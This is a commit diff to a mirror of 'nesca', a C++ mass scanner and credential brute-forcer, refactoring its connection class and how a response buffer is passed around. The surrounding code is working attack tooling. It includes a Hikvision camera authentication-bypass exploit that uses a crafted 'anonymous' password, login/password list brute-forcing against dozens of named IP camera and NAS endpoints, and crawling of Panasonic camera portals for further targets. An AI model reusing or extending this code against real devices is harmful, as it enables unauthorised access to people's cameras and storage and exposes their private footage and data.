mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-11-23 10:42:21 +00:00
Crash fix(?) + fake 401-error fix.
This commit is contained in:
parent
dd9e292cd1
commit
7f363c4d48
@ -39,25 +39,21 @@ inline bool commenceHikvisionEx1(const char *ip, const int port, bool digestMode
|
|||||||
std::string lpString = string("anonymous") + ":" + string("\177\177\177\177\177\177");
|
std::string lpString = string("anonymous") + ":" + string("\177\177\177\177\177\177");
|
||||||
|
|
||||||
string buffer;
|
string buffer;
|
||||||
int res = Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString, digestMode);
|
Connector con;
|
||||||
|
int res = con.nConnect(ip, port, &buffer, NULL, NULL, &lpString, digestMode);
|
||||||
if (res > 0) {
|
if (res > 0) {
|
||||||
if (BA::checkOutput(&buffer, ip, port) == 1) return 1;
|
if (BA::checkOutput(&buffer, ip, port) == 1) return 1;
|
||||||
}
|
}
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
|
lopaStr BA::BABrute(const char *ip, const int port, bool digestMode, const std::string *buff) {
|
||||||
string buffer;
|
|
||||||
string lpString;
|
string lpString;
|
||||||
lopaStr lps = {"UNKNOWN", "", ""};
|
lopaStr lps = {"UNKNOWN", "", ""};
|
||||||
int passCounter = 0;
|
int passCounter = 0;
|
||||||
int res = 0;
|
int res = 0;
|
||||||
|
|
||||||
res = Connector::nConnect(ip, port, &buffer);
|
int isDig = Utils::isDigest(buff);
|
||||||
if (res == -2) return lps;
|
|
||||||
|
|
||||||
int isDig = 0;
|
|
||||||
isDig = Utils::isDigest(&buffer);
|
|
||||||
if (isDig == -1) {
|
if (isDig == -1) {
|
||||||
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 detected - <a style=\"color:orange;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\">" +
|
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 detected - <a style=\"color:orange;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\">" +
|
||||||
QString(ip) + ":" + QString::number(port) + "</a></span>");
|
QString(ip) + ":" + QString::number(port) + "</a></span>");
|
||||||
@ -79,6 +75,8 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
std::string buffer;
|
||||||
|
|
||||||
if (commenceHikvisionEx1(ip, port, digestMode)) {
|
if (commenceHikvisionEx1(ip, port, digestMode)) {
|
||||||
stt->doEmitionGreenFoundData("Hikvision exploit triggered! (" +
|
stt->doEmitionGreenFoundData("Hikvision exploit triggered! (" +
|
||||||
QString(ip) + ":" +
|
QString(ip) + ":" +
|
||||||
@ -95,7 +93,8 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
|
|||||||
|
|
||||||
lpString = string(loginLst[i]) + ":" + string(passLst[j]);
|
lpString = string(loginLst[i]) + ":" + string(passLst[j]);
|
||||||
|
|
||||||
res = Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString, digestMode);
|
Connector con;
|
||||||
|
res = con.nConnect(ip, port, &buffer, NULL, NULL, &lpString, digestMode);
|
||||||
if (res == -2) return lps;
|
if (res == -2) return lps;
|
||||||
else if (res != -1) {
|
else if (res != -1) {
|
||||||
res = checkOutput(&buffer, ip, port);
|
res = checkOutput(&buffer, ip, port);
|
||||||
@ -125,14 +124,14 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
|
|||||||
return lps;
|
return lps;
|
||||||
}
|
}
|
||||||
|
|
||||||
lopaStr BA::BALobby(const char *ip, const int port, bool digestMode) {
|
lopaStr BA::BALobby(const char *ip, const int port, bool digestMode, const std::string *buffer) {
|
||||||
if(gMaxBrutingThreads > 0) {
|
if(gMaxBrutingThreads > 0) {
|
||||||
|
|
||||||
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
|
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
|
||||||
|
|
||||||
++baCount;
|
++baCount;
|
||||||
++BrutingThrds;
|
++BrutingThrds;
|
||||||
const lopaStr &lps = BABrute(ip, port, digestMode);
|
const lopaStr &lps = BABrute(ip, port, digestMode, buffer);
|
||||||
--BrutingThrds;
|
--BrutingThrds;
|
||||||
|
|
||||||
return lps;
|
return lps;
|
||||||
|
@ -8,11 +8,11 @@
|
|||||||
|
|
||||||
class BA {
|
class BA {
|
||||||
private:
|
private:
|
||||||
static lopaStr BABrute(const char *ip, const int port, bool digestMode);
|
static lopaStr BABrute(const char *ip, const int port, bool digestMode, const std::string *buffer);
|
||||||
|
|
||||||
public:
|
public:
|
||||||
static int checkOutput(const string *buffer, const char *ip, const int port);
|
static int checkOutput(const string *buffer, const char *ip, const int port);
|
||||||
static lopaStr BALobby(const char *ip, const int port, bool digestMode);
|
static lopaStr BALobby(const char *ip, const int port, bool digestMode, const std::string *buffer);
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // BASICAUTH_H
|
#endif // BASICAUTH_H
|
||||||
|
@ -54,7 +54,8 @@ int KeyCheckerMain()
|
|||||||
headerVector.push_back("X-Nescav3: True");
|
headerVector.push_back("X-Nescav3: True");
|
||||||
|
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
Connector::nConnect((std::string(trcSrv) + std::string(trcScr)).c_str(), std::stoi(trcSrvPortLine), &buffer, NULL, &headerVector);
|
Connector con;
|
||||||
|
con.nConnect((std::string(trcSrv) + std::string(trcScr)).c_str(), std::stoi(trcSrvPortLine), &buffer, NULL, &headerVector);
|
||||||
|
|
||||||
int hostStringIndex = buffer.find("\r\n\r\n");
|
int hostStringIndex = buffer.find("\r\n\r\n");
|
||||||
if(hostStringIndex != -1) {
|
if(hostStringIndex != -1) {
|
||||||
@ -62,7 +63,8 @@ int KeyCheckerMain()
|
|||||||
int s = buffer.find("http://", hostStringIndex);
|
int s = buffer.find("http://", hostStringIndex);
|
||||||
int e = buffer.find('/', s + 8);
|
int e = buffer.find('/', s + 8);
|
||||||
std::string url = buffer.substr(s, e - s);
|
std::string url = buffer.substr(s, e - s);
|
||||||
Connector::nConnect((url + std::string("/api/checkaccount?key=") + std::string(trcPersKey)).c_str(),
|
Connector con;
|
||||||
|
con.nConnect((url + std::string("/api/checkaccount?key=") + std::string(trcPersKey)).c_str(),
|
||||||
std::stoi(trcSrvPortLine), &buffer, NULL, &headerVector);
|
std::stoi(trcSrvPortLine), &buffer, NULL, &headerVector);
|
||||||
|
|
||||||
if(Utils::ustrstr(buffer, std::string("202 Accepted")) != -1) {
|
if(Utils::ustrstr(buffer, std::string("202 Accepted")) != -1) {
|
||||||
|
@ -13,7 +13,7 @@
|
|||||||
class Connector {
|
class Connector {
|
||||||
|
|
||||||
public:
|
public:
|
||||||
static int nConnect(const char* ip, const int port, std::string *buffer,
|
int nConnect(const char* ip, const int port, std::string *buffer,
|
||||||
const char *postData = NULL,
|
const char *postData = NULL,
|
||||||
const std::vector<std::string> *customHeaders = NULL,
|
const std::vector<std::string> *customHeaders = NULL,
|
||||||
const std::string *lpString = NULL,
|
const std::string *lpString = NULL,
|
||||||
@ -23,6 +23,6 @@ public:
|
|||||||
// const std::vector<std::string> *customHeaders = NULL,
|
// const std::vector<std::string> *customHeaders = NULL,
|
||||||
// const std::string *lpString = NULL,
|
// const std::string *lpString = NULL,
|
||||||
// bool digestMode = false);
|
// bool digestMode = false);
|
||||||
static int connectToPort(char *ip, int port);
|
int connectToPort(char *ip, int port);
|
||||||
};
|
};
|
||||||
#endif // CONNECTOR_H
|
#endif // CONNECTOR_H
|
||||||
|
@ -42,7 +42,8 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
|
|||||||
|
|
||||||
ZeroMemory(nip, 128);
|
ZeroMemory(nip, 128);
|
||||||
sprintf(nip, "ftp://%s", ip);
|
sprintf(nip, "ftp://%s", ip);
|
||||||
res = Connector::nConnect(nip, port, &buffer, NULL, NULL, &lpString);
|
Connector con;
|
||||||
|
res = con.nConnect(nip, port, &buffer, NULL, NULL, &lpString);
|
||||||
if (res == -2) return lps;
|
if (res == -2) return lps;
|
||||||
else if (res != -1) {
|
else if (res != -1) {
|
||||||
if (!globalScanFlag) return lps;
|
if (!globalScanFlag) return lps;
|
||||||
|
@ -28,7 +28,8 @@ std::string getLM(std::string *buffer) {
|
|||||||
|
|
||||||
void checkWeb(const char *fileName, std::string *oldLM) {
|
void checkWeb(const char *fileName, std::string *oldLM) {
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
Connector::nConnect(std::string("http://nesca.d3w.org/files/" + std::string(fileName)).c_str(), 80, &buffer);
|
Connector con;
|
||||||
|
con.nConnect(std::string("http://nesca.d3w.org/files/" + std::string(fileName)).c_str(), 80, &buffer);
|
||||||
|
|
||||||
const std::string &lm = getLM(&buffer);
|
const std::string &lm = getLM(&buffer);
|
||||||
if(lm.size() == 0) return;
|
if(lm.size() == 0) return;
|
||||||
|
@ -175,8 +175,9 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
|||||||
}
|
}
|
||||||
|
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
if(doPost) res = Connector::nConnect(request, port, &buffer, postData);
|
Connector con;
|
||||||
else res = Connector::nConnect(request, port, &buffer);
|
if (doPost) res = con.nConnect(request, port, &buffer, postData);
|
||||||
|
else res = con.nConnect(request, port, &buffer);
|
||||||
|
|
||||||
if (res == -2) return lps;
|
if (res == -2) return lps;
|
||||||
else if (res != -1) {
|
else if (res != -1) {
|
||||||
|
@ -911,10 +911,11 @@ void _connect() {
|
|||||||
++ipCounter;
|
++ipCounter;
|
||||||
|
|
||||||
++cons;
|
++cons;
|
||||||
|
Connector con;
|
||||||
for (int i = 0; i < MainStarter::portVector.size(); ++i)
|
for (int i = 0; i < MainStarter::portVector.size(); ++i)
|
||||||
{
|
{
|
||||||
if (!globalScanFlag) break;
|
if (!globalScanFlag) break;
|
||||||
if (Connector::connectToPort((char*)ip.c_str(), MainStarter::portVector[i]) == -2) break;
|
if (con.connectToPort((char*)ip.c_str(), MainStarter::portVector[i]) == -2) break;
|
||||||
};
|
};
|
||||||
--cons;
|
--cons;
|
||||||
stt->doEmitionUpdateArc(gTargets);
|
stt->doEmitionUpdateArc(gTargets);
|
||||||
|
@ -91,7 +91,8 @@ int _sshConnect(const char *user, const char *pass, const char *host, int port)
|
|||||||
char _get_ssh_banner(const char *ip, int port) {
|
char _get_ssh_banner(const char *ip, int port) {
|
||||||
char recvBuff[256] = {0};
|
char recvBuff[256] = {0};
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
Connector::nConnect(ip, port, &buffer);
|
Connector con;
|
||||||
|
con.nConnect(ip, port, &buffer);
|
||||||
|
|
||||||
int sz = buffer.size();
|
int sz = buffer.size();
|
||||||
|
|
||||||
|
@ -81,7 +81,8 @@ lopaStr WFClass::doGetCheck(const char *ip,
|
|||||||
sprintf(nip, "%s%s?%s=%s&%s=%s", ip, actionVal, userVal, login, passVal, pass);
|
sprintf(nip, "%s%s?%s=%s&%s=%s", ip, actionVal, userVal, login, passVal, pass);
|
||||||
|
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
if(Connector::nConnect(nip, port, &buffer) <= 0) return result;
|
Connector con;
|
||||||
|
if(con.nConnect(nip, port, &buffer) <= 0) return result;
|
||||||
|
|
||||||
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) +
|
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) +
|
||||||
"; login/pass: "+ QString(login) + ":" + QString(pass) +
|
"; login/pass: "+ QString(login) + ":" + QString(pass) +
|
||||||
@ -134,7 +135,8 @@ lopaStr WFClass::doPostCheck(const char *ip,
|
|||||||
sprintf(postData, "%s=%s&%s=%s", userVal, login, passVal, pass);
|
sprintf(postData, "%s=%s&%s=%s", userVal, login, passVal, pass);
|
||||||
|
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
if(Connector::nConnect(nip, port, &buffer, postData) <= 0) return result;
|
Connector con;
|
||||||
|
if (con.nConnect(nip, port, &buffer, postData) <= 0) return result;
|
||||||
|
|
||||||
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " +
|
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " +
|
||||||
QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
||||||
|
98
finder.cpp
98
finder.cpp
@ -1223,9 +1223,12 @@ void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char
|
|||||||
|
|
||||||
int _specBrute(const char *ip, int port,
|
int _specBrute(const char *ip, int port,
|
||||||
char *finalstr, int flag,
|
char *finalstr, int flag,
|
||||||
char *path, char *comment, char *cp, int size, const std::string *buffer = NULL)
|
char *path, char *comment, char *cp, int size, const std::string *buffer)
|
||||||
{
|
{
|
||||||
const lopaStr &lps = BA::BALobby((string(ip) + string(path)).c_str(), port, (strcmp(comment, "[DIGEST]") == 0 ? true : false));
|
const lopaStr &lps = BA::BALobby((string(ip) + string(path)).c_str(),
|
||||||
|
port,
|
||||||
|
(strcmp(comment, "[DIGEST]") == 0 ? true : false),
|
||||||
|
buffer);
|
||||||
|
|
||||||
if (strcmp(lps.other, "404") == 0) {
|
if (strcmp(lps.other, "404") == 0) {
|
||||||
|
|
||||||
@ -1471,7 +1474,8 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
|
|||||||
std::unique_ptr<char[]> nip(new char[strlen(tempIP) + strlen(tempPath) + 1]);
|
std::unique_ptr<char[]> nip(new char[strlen(tempIP) + strlen(tempPath) + 1]);
|
||||||
sprintf(nip.get(), "%s%s", tempIP, tempPath);
|
sprintf(nip.get(), "%s%s", tempIP, tempPath);
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
int cSz = Connector::nConnect(nip.get(), tempPort, &buffer);
|
Connector con;
|
||||||
|
int cSz = con.nConnect(nip.get(), tempPort, &buffer);
|
||||||
|
|
||||||
if(cSz > -1)
|
if(cSz > -1)
|
||||||
{
|
{
|
||||||
@ -1588,7 +1592,8 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
|
|||||||
std::unique_ptr<char[]> nip(new char[strlen(tempIP) + strlen(tempPath) + 1]);
|
std::unique_ptr<char[]> nip(new char[strlen(tempIP) + strlen(tempPath) + 1]);
|
||||||
sprintf(nip.get(), "%s%s", tempIP, tempPath);
|
sprintf(nip.get(), "%s%s", tempIP, tempPath);
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
int cSz = Connector::nConnect(nip.get(), tempPort, &buffer);
|
Connector con;
|
||||||
|
int cSz = con.nConnect(nip.get(), tempPort, &buffer);
|
||||||
|
|
||||||
if(cSz > -1)
|
if(cSz > -1)
|
||||||
{
|
{
|
||||||
@ -1656,7 +1661,8 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
|
|||||||
std::unique_ptr<char[]> nip(new char[strlen(tempIP) + strlen(tempPath) + 1]);
|
std::unique_ptr<char[]> nip(new char[strlen(tempIP) + strlen(tempPath) + 1]);
|
||||||
sprintf(nip.get(), "%s%s", tempIP, tempPath);
|
sprintf(nip.get(), "%s%s", tempIP, tempPath);
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
int cSz = Connector::nConnect(nip.get(), tempPort, &buffer);
|
Connector con;
|
||||||
|
int cSz = con.nConnect(nip.get(), tempPort, &buffer);
|
||||||
|
|
||||||
if(cSz > -1)
|
if(cSz > -1)
|
||||||
{
|
{
|
||||||
@ -1718,7 +1724,8 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
|
|||||||
std::unique_ptr<char[]> nip(new char[strlen(ip) + strlen(str) + 1]);
|
std::unique_ptr<char[]> nip(new char[strlen(ip) + strlen(str) + 1]);
|
||||||
sprintf(nip.get(), "%s%s", ip, str);
|
sprintf(nip.get(), "%s%s", ip, str);
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
int cSz = Connector::nConnect(nip.get(), port, &buffer);
|
Connector con;
|
||||||
|
int cSz = con.nConnect(nip.get(), port, &buffer);
|
||||||
|
|
||||||
if(cSz > -1)
|
if(cSz > -1)
|
||||||
{
|
{
|
||||||
@ -2383,9 +2390,11 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
|
|||||||
{
|
{
|
||||||
int rh = header(ip, port, buffcpy->c_str(), lx, &ps, &redirStrLst, size);
|
int rh = header(ip, port, buffcpy->c_str(), lx, &ps, &redirStrLst, size);
|
||||||
strcpy(cp, ps.codepage);
|
strcpy(cp, ps.codepage);
|
||||||
|
|
||||||
if (rh == -1) {
|
if (rh == -1) {
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (rh <= -2)
|
if (rh <= -2)
|
||||||
{
|
{
|
||||||
flag = ps.flag;
|
flag = ps.flag;
|
||||||
@ -2451,47 +2460,47 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
|
|||||||
}
|
}
|
||||||
else if (flag == 21) //Eyeon
|
else if (flag == 21) //Eyeon
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "Eyeon Camera", flag, "/user/index.htm", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "Eyeon Camera", flag, "/user/index.htm", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 22) //IP Camera control
|
else if (flag == 22) //IP Camera control
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "IP camera Control webpage", flag, "/main/cs_motion.asp", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "IP camera Control webpage", flag, "/main/cs_motion.asp", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 23) //Network Camera BB-SC384
|
else if (flag == 23) //Network Camera BB-SC384
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "Network Camera BB-SC384", flag, "/live/index2.html", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "Network Camera BB-SC384", flag, "/live/index2.html", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 24) //Network Camera VB-M40
|
else if (flag == 24) //Network Camera VB-M40
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 25) //Panasonic Unibrowser-camera
|
else if (flag == 25) //Panasonic Unibrowser-camera
|
||||||
{
|
{
|
||||||
_specBrute(ip, 60002, "Panasonic Unibrowser-camera", flag, "/SnapshotJPEG", "Basic Authorization", cp, size);
|
_specBrute(ip, 60002, "Panasonic Unibrowser-camera", flag, "/SnapshotJPEG", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 26) //Sony Network Camera
|
else if (flag == 26) //Sony Network Camera
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "Sony Network Camera", flag, "/oneshotimage?", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "Sony Network Camera", flag, "/oneshotimage?", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 27) //UA Network Camera
|
else if (flag == 27) //UA Network Camera
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "UA Network Camera", flag, "/webs.cgi?", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "UA Network Camera", flag, "/webs.cgi?", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 28) //Network Camera VB-M40
|
else if (flag == 28) //Network Camera VB-M40
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 29) //LG Smart IP Device
|
else if (flag == 29) //LG Smart IP Device
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "LG Smart IP Device Camera", flag, "/digest.php", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "LG Smart IP Device Camera", flag, "/digest.php", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 30) //NAS
|
else if (flag == 30) //NAS
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 31) //ip cam
|
else if (flag == 31) //ip cam
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "IP Camera", flag, "/check_user.cgi", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "IP Camera", flag, "/check_user.cgi", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 32) //IPC WEB ip cam
|
else if (flag == 32) //IPC WEB ip cam
|
||||||
{
|
{
|
||||||
@ -2503,8 +2512,8 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
|
|||||||
}
|
}
|
||||||
else if (flag == 34) //Hikvision ip cam
|
else if (flag == 34) //Hikvision ip cam
|
||||||
{
|
{
|
||||||
if (_specBrute(ip, port, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, size) == -1){
|
if (_specBrute(ip, port, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, size, buffcpy) == -1){
|
||||||
_specBrute(ip, port, "[Hikvision] IP Camera", flag, "/PSIA/Custom/HIK/userCheck", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "[Hikvision] IP Camera", flag, "/PSIA/Custom/HIK/userCheck", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else if (flag == 35) //EasyCam
|
else if (flag == 35) //EasyCam
|
||||||
@ -2514,12 +2523,13 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
|
|||||||
else if (flag == 36) //Panasonic Cam
|
else if (flag == 36) //Panasonic Cam
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, QString("[Panasonic] IP Camera (" + QString(ip) + ":" + QString::number(port) + ")").toLocal8Bit().data(), flag,
|
_specBrute(ip, port, QString("[Panasonic] IP Camera (" + QString(ip) + ":" + QString::number(port) + ")").toLocal8Bit().data(), flag,
|
||||||
"/config/index.cgi", "Basic Authorization", cp, size);
|
"/config/index.cgi", "Basic Authorization", cp, size, buffcpy);
|
||||||
|
|
||||||
stt->doEmitionYellowFoundData("[PaCr]Panasonic cam detected, crawling started.");
|
stt->doEmitionYellowFoundData("[PaCr]Panasonic cam detected, crawling started.");
|
||||||
|
|
||||||
std::string buff;
|
std::string buff;
|
||||||
Connector::nConnect(std::string(std::string(ip) + "/config/cam_portal.cgi").c_str(), port, &buff);
|
Connector con;
|
||||||
|
con.nConnect(std::string(std::string(ip) + "/config/cam_portal.cgi").c_str(), port, &buff);
|
||||||
int nPort = port;
|
int nPort = port;
|
||||||
for (int i = 0; i < 16; ++i) {
|
for (int i = 0; i < 16; ++i) {
|
||||||
std::string &cam_link_data = Utils::getStrValue(buff, "cam_link[" + std::to_string(i) + "]", ";");
|
std::string &cam_link_data = Utils::getStrValue(buff, "cam_link[" + std::to_string(i) + "]", ";");
|
||||||
@ -2536,7 +2546,7 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
|
|||||||
|
|
||||||
_specBrute(newIP.c_str(), nPort, QString("[Panasonic] IP Camera (" +
|
_specBrute(newIP.c_str(), nPort, QString("[Panasonic] IP Camera (" +
|
||||||
QString(newIP.c_str()) + ":" + QString::number(nPort) + ")").toLocal8Bit().data(), flag,
|
QString(newIP.c_str()) + ":" + QString::number(nPort) + ")").toLocal8Bit().data(), flag,
|
||||||
(char*)newPath.c_str(), "Basic Authorization", cp, size);
|
(char*)newPath.c_str(), "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else stt->doEmitionRedFoundData("[Panasonic Cam URL] Cannot extract data " +
|
else stt->doEmitionRedFoundData("[Panasonic Cam URL] Cannot extract data " +
|
||||||
@ -2548,7 +2558,7 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
|
|||||||
}
|
}
|
||||||
else if (flag == 37) //Panasonic Cam
|
else if (flag == 37) //Panasonic Cam
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 38) //Foscam
|
else if (flag == 38) //Foscam
|
||||||
{
|
{
|
||||||
@ -2556,11 +2566,11 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
|
|||||||
}
|
}
|
||||||
else if (flag == 39) //EagleEye
|
else if (flag == 39) //EagleEye
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 40) //Network Camera VB-C??
|
else if (flag == 40) //Network Camera VB-C??
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 41) //AVIOSYS-camera
|
else if (flag == 41) //AVIOSYS-camera
|
||||||
{
|
{
|
||||||
@ -2568,19 +2578,19 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
|
|||||||
}
|
}
|
||||||
else if (flag == 42) //NW_camera
|
else if (flag == 42) //NW_camera
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "[NW_camera] IP Camera", flag, "/cgi-bin/getuid?FILE=indexnw.html", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "[NW_camera] IP Camera", flag, "/cgi-bin/getuid?FILE=indexnw.html", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 43) //NW_camera
|
else if (flag == 43) //NW_camera
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 44) //Hikvision ip cam 2
|
else if (flag == 44) //Hikvision ip cam 2
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "[Hikvision] IP Camera 2", flag, "/ISAPI/Security/userCheck", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "[Hikvision] IP Camera 2", flag, "/ISAPI/Security/userCheck", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 45) //Panasonic ip cam
|
else if (flag == 45) //Panasonic ip cam
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 46) //Buffalo disk
|
else if (flag == 46) //Buffalo disk
|
||||||
{
|
{
|
||||||
@ -2600,7 +2610,7 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
|
|||||||
}
|
}
|
||||||
else if (flag == 50) //IP Camera
|
else if (flag == 50) //IP Camera
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "IP Camera", flag, "/app/multi/single.asp", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "IP Camera", flag, "/app/multi/single.asp", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 51) //MASPRO
|
else if (flag == 51) //MASPRO
|
||||||
{
|
{
|
||||||
@ -2620,50 +2630,50 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
|
|||||||
}
|
}
|
||||||
else if (flag == 55) //QCam
|
else if (flag == 55) //QCam
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 20) //AXIS Camera
|
else if (flag == 20) //AXIS Camera
|
||||||
{
|
{
|
||||||
if (_specBrute(ip, port, "AXIS Camera", flag, "/mjpg/video.mjpg", "Basic Authorization", cp, size) == -1) {
|
